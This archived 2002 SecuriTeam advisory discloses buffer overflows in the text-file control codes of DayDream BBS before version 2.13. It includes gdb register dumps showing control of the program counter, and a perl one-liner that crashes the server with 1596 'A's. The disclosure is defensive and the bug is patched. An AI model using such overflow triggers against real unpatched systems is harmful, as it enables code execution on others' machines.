

# [UNIX] DayDream BBS Buffer Overflows

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0006.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/03/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Thu, 3 Jan 2002 17:08:51 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

DayDream BBS Buffer Overflows

---

## SUMMARY

<<http://daydream.iwn.fi/about.html>> Daydream BBS provides a stable, fully configurable bulleting board system. Multiple buffer overflow vulnerabilities have been found in the product that would allow an attacker to execute arbitrary code.

## DETAILS

Vulnerable systems:

Daydream BBS versions prior to 2.13

Immune systems:

Daydream BBS version 2.13

Vendor status:

2001-12-29 Hannu Lyytinen <[hlyytine@cs.uku.fi](mailto:hlyytine@cs.uku.fi)>

\* text file control codes ~#MC, ~#TF and ~#RA were vulnerable to buffer overflow attack. Although there are no known exploits, an attacker could run arbitrary code on whatever UID DayDream was running on.

2001-12-27 Hannu Lyytinen <[hlyytine@cs.uku.fi](mailto:hlyytine@cs.uku.fi)>

\* fixed buffer overflow bug in ~#MC command.

## Securiteam: [UNIX] DayDream BBS Buffer Overflows

Background:

/root/daydream-2.13/docshhtml/setup.html:

You can have the following control codes in your text files Action codes

~#MC[COMMAND]

Menu command

~#TF[FILE]

Show textfile

~#RA[FILE][[max]]

Show random textfile. Format for file is "/path/foobar%d.ext",  
where %d is a random  
number (1-[max]).

Trying to overflow one of the commands results in:

Program received signal SIGILL, Illegal instruction.

0x41414140 in ?? ()

(gdb) bt

#0 0x41414140 in ?? ()

(gdb) i r

r0 0x41414141 1094795585

r1 0x7ffda90 2147474064

r2 0xd3fec000 -738279424

r3 0x1 1

r4 0x10053890 268777616

r5 0x100538a0 268777632

r6 0x10 16

r7 0x2 2

r8 0xff87d10 267943184

r9 0x10040000 268697600

r10 0xff87d10 267943184

r11 0x0 0

r12 0x2 2

r13 0x10047440 268727360

r14 0x0 0

r15 0x7fff874 2147481716

r16 0x1 1

r17 0x10040000 268697600

r18 0x10040000 268697600

r19 0x10040000 268697600

r20 0x10040000 268697600

r21 0x10040000 268697600

r22 0x10040000 268697600

r23 0x41414141 1094795585

r24 0x41414141 1094795585

r25 0x41414141 1094795585

r26 0x41414141 1094795585

r27 0x41414141 1094795585

r28 0x41414141 1094795585

## Securiteam: [UNIX] DayDream BBS Buffer Overflows

```
r29 0x41414141 1094795585
r30 0x41414141 1094795585
r31 0x41414141 1094795585
pc 0x41414140 1094795584
ps 0x8d032 577586
cr 0x28822828 679618600
lr 0x41414141 1094795585
ctr 0x0 0
xer 0x20000000 536870912
```

This was accomplished by the following command line:

```
# cat display/iso/welcome.gfx | more
~#MCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<9000
A's>|
```

The overflow occurs by sending 1596 'A's:

```
# echo "~#MC" `perl -e 'print "A" x 1596` \|> display/iso/welcome.gfx
```

```
# ./daydream
DayDream BBS/Unix 2.13
Programming by Antti Häyrynen 1996–1997, DayDream Development Team
1998–2001
```

You are connected to node #10 at 57600 BPS.

```
·| All accounts deleted – login |·
:| as NEW! |:
.:| |:
. ....:| NEW / CHAT / LOGOFF |::.....
`-----'
```

Username: %p

Password: \*\*

Segmentation fault (core dumped)

```
(gdb) bt
#0 0x0fece418 in free () from /lib/libc.so.6
#1 0x1001e3f0 in dotype (filename=0x58550 <Address 0x58550 out of
bounds>, flags=35) at typetext.c:639
#2 0x1001d0c4 in find_and_type_file (name_comps=0x100537d0,
flags=1094795585) at typetext.c:284
#3 0x1001d2ac in typefile (filename=0x7ffdfbb0 "", flags=35) at
typetext.c:348
#4 0x1001d3c8 in TypeFile (typethis=0x1002a2dc "welcome", flags=35) at
typetext.c:380
#5 0x10009b48 in enterbbs () at enterbbs.c:102
#6 0x10003124 in getin () at daydream.c:401
#7 0x10002e9c in visit_bbs (m=0) at daydream.c:310
#8 0x10002b24 in visitbbs (m=0) at daydream.c:210
#9 0x10002a98 in main (argc=1, argv=0x7ffff864) at daydream.c:198
#10 0x0fe71b90 in __libc_start_main () from /lib/libc.so.6
```



Securiteam: [UNIX] DayDream BBS Buffer Overflows

=====  
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====  
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] IMail Web Service User Aliases / Mailing Lists Admin Vulnerability"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)